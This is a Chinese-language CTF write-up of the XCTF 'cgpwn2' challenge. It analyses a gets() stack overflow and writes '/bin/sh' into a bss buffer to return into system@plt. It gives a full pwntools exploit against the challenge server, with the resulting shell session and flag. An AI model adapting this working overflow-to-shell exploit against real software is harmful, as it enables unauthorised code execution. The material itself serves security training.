查看保护，运行一下逻辑

```
fish@ubuntu:/mnt/hgfs/share/xctf$ checksec cgpwn2
[*] '/mnt/hgfs/share/xctf/cgpwn2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
fish@ubuntu:/mnt/hgfs/share/xctf$ ./cgpwn2
please tell me your name
fish
hello,you can leave some message here:
no fuck ke shuo
thank you
```

丢进 IDA 查看漏洞

```
puts("hello,you can leave some message here:");
return gets(&s);
```

明显的栈溢出

```
1 int pwn()
2 {
3   return system("echo hehehe");
4 }
```

有这个函数，但是 system 里的不是'/bin/sh'无法拿到权限

```
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
```

栈溢出上面还需要有输入 name

而这个 name 在 bss 段上

```
.bss:0804A080 name            db 34h dup(?)
```

那么 payload 的思路是：

在 name 中输入'/bin/sh'然后栈溢出到 plt 中的 system 函数

```
.plt:08048420                 jmp     ds:off_804A01C
```

name='/bin/sh'

name_addr=0x0804A080

system_addr=0x08048420

payload='a'*0x26+'b'*4+p32(system_addr)+p32(0)+p32(name_addr)（p32(0)为填充 ebp+4）

则 exp 如下：

```
from pwn import *
#r=process('./cgpwn2')
r=remote('111.198.29.45',30733)
name='/bin/sh'
system_addr=0x08048420
name_addr=0x0804A080
payload='a'*0x26+'b'*4+p32(system_addr)+p32(0)+p32(name_addr)
r.recvuntil("please tell me your name")
r.sendline(name)
r.recvuntil("hello,you can leave some message here:")
r.sendline(payload)
r.interactive()
```

得到 flag：

```
fish@ubuntu:~/Desktop/XCTF$ python cgpwn2_pwn.py
[+] Opening connection to 111.198.29.45 on port 30733: Done
[*] Switching to interactive mode

$ ls
bin
cgpwn2
dev
flag
lib
lib32
lib64
$ cat flag
cyberpeace{5bd85d609606e819b04b84052765cfda}
```